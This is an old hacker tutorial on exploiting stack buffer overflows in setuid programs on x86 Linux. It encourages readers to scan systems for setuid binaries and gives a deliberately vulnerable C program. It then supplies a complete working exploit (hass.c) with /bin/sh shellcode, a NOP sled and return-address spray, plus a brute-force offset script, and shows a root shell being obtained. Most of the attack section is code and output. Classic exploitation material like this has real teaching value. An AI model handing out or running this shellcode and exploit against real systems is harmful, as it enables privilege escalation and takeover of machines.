-- buffer overflows for the kidz (x86 platforms) -- http://teleh0r.cjb.net =========================================================== ---\ Introduction \ You have read all the guides about writing buffer overflows out there but you just don't get it. Don't worry, now I bring you the one and only guide you will ever need! Ehh, that's not completely true - but this paper is a nice start. If you actually want to understand this well, read Aleph1 article in phrack, issue number 49, article number 14. (http://www.phrack.com) Note: Yes, this is meant for the kidz. Why? I love when there is a new exploit on packetstorm - and who has got most time to check for exploitable programs? The kidz! ---\ Finding programs to exploit \ First you need to find a program you can exploit, this should have some special privileges, or else it would be a waste of time to exploit it. Keep in mind that a program that is not setuid, or setgid on eg. Slackware may be setuid on RedHat. In order to keep it simple, do a search for all the setuid/setgid programs that exist on your distribution. If you need help with that, and you probably do - then visit packetstorm and in the 9901-exploits directory, download mother2.sh. [root@localhost teleh0r]# ./mother2.sh * mother2.sh by: syg @ EFnet * * Usage: ./mother2.sh [root@localhost teleh0r]# ./mother2.sh setuid setgid * mother2.sh by: syg @ EFnet * * setuid-OutPutFile -> setuid * setgid-OutPutFile -> setgid * * Now scanning /* for setuid... * * setuid scan done... * * Now scanning /* for setgid... * * setgid scan done... * * mother2.sh complete... * Check setuid and setgid [root@localhost teleh0r]# ls setgid setuid setgid setuid Then have alook at the lists, you should have one for setuid and one for setgid. ---\ A real example \ Ok, time for a example. I have written a small program which is exploitable to a buffer overflow. It copies the KIDVULN without bounds checking. (strcpy is very dangerous! ;) Ok, let's see how we can exploit this, that's what you want, right? First compile the source below. (gcc -o kid kid.c) -------\ kid.c \ #include int main() { char kidbuffer[1024]; if (getenv("KIDVULN") == NULL) { fprintf(stderr, "Grow up!\n"); exit(1); } /* Read the environment variable data into the buffer */ strcpy(kidbuffer, (char *)getenv("KIDVULN")); printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer); printf("Isn't life wonderful in kindergarden?\n"); return 0; } -------\ In order to make you feel extra leet, as root chmod kid u+s, and place it in the /bin directory. Now let's start exploiting. [root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1030"}'` [root@localhost teleh0r]# /bin/kids Environment variable KIDVULN is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA.... Isn't life wonderful in kindergarden? Segmentation fault (core dumped) [root@localhost teleh0r]# gdb -c core /bin/kids GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `/bin/kids'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x4000af9a in _dl_sysdep_output (fd=2, msg=0x40108f8b
) at dl-misc.c:95 95 dl-misc.c: No such file or directory. (gdb) info register esp esp 0xbffff720 -1073744096 (gdb) quit First I used 1030 A's because that was about what I needed. Looking through the source, we know that kidbuffer can be about 1024 bites big. (char kidbuffer[1024];) Ok, now you you got what you need to exploit this program. You have the length and we will try to use esp as the return address in our exploit. Don't worry, I have written a exploit for you which you can use in allot of cases, and I show you what to change in order to make it work in other cases as well. Ok, so then we have: RET=0xbffff720 // (return address) LEN=1030 // (length of the buffer) Change this in the exploit I have written below, and then the beginning of the exploit will look like this: -------\ #include /* teleh0r's own k-rad shellcode! */ char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh"; #define NOP 0x90 #define LEN 1030 #define RET 0xbffff720 // Redhat 6.2 (Zoot) // You will find the whole exploit near the end... -------\ Now we will brute force this, and for that we will use this simple shell script. -------\ bah.sh \ #!/bin/sh NUMBER=-5000 until [ "$NUMBER" -gt "5000" ]; do ./hass $NUMBER echo "Using this offset : $NUMBER" # > file NUMBER=$[$NUMBER+5] done -------\ Execute this script, and if your terminal fucks up, echo the offset into a file instead, and as another user, cat it when your exploit drops you into a shell. [root@localhost /root]# ./bah.sh - (c) 'teleh0r@doglover.com' anno 2000 - Use : ./hass [offset] Using: address 0xbffff34c Environment variable KIDVULN is: " ë^ 1A F F ° ó V I 1U Ø@I èÜÿÿÿ/bin/shÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿8óÿ¿X÷ÿ¿EI@". Isn't life wonderful in kindergarden? bash# -------\ Then replace the old return address with the new RET the exploit gave us - so we don't have to bruteforce it every time - so new RET=0xbffff34c [root@localhost teleh0r]# ./hass - (c) 'teleh0r@doglover.com' anno 2000 - Use : ./hass [offset] Using: address 0xbffff34c Environment variable KIDVULN is: " ë^ 1A F F ° ó V I 1U Ø@I èÜÿÿÿ/bin/shÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿Lóÿ¿xûÿ¿EI@". Isn't life wonderful in kindergarden? bash# wh0a! I did it, I did it! ---\ Programs you will need \ You may freely use my all my codes, you don't have to give me any credit whatsoever. How to get the shellcode? You could also use a "shell generator", which makes the shellcode for you. "execve-shell.tar.gz" which you can get from teso homepage, is very nice, as well as easy to use. (http://teso.scene.at/) Another nice program I tried today, was a perlscript called getenv.pl by v9@fakehalo.org. You should be able to find this at packetstorm. And of course, the exploit I used for the example. -------\ hass.c \ /* ** ** ** -- INSERT K-RAD GREETZ HERE! -- ** ** y0y0y0y0! ** w0rkz for the the example used in this text. (kid.c) ** If it for some reasons don't, try bruteforcing it! */ #include /* teleh0r's own k-rad shellcode! */ char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh"; #define NOP 0x90 #define LEN 1030 #define RET 0xbffffc10 // Redhat 6.2 (Zoot) void main(int argc, char *argv[]) { char buffer[LEN]; long retaddr, offset; int i; offset = 0; if (argc > 1) { offset = atol(argv[1]); } retaddr = RET + offset; printf("\n- (c) teleh0r@doglover.com anno 2000 -\n"); printf("Use : %s [offset] \n", argv[0]); printf("Using: address 0x%lx\n\n", retaddr); for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = retaddr; for (i = 0; i < (LEN - strlen(codez) - 100); ++i) *(buffer + i) = NOP; memcpy(buffer + i, codez, strlen(codez)); setenv("KIDVULN", buffer, 1); execl("/bin/kid", "kid", 0); return 0; } -------\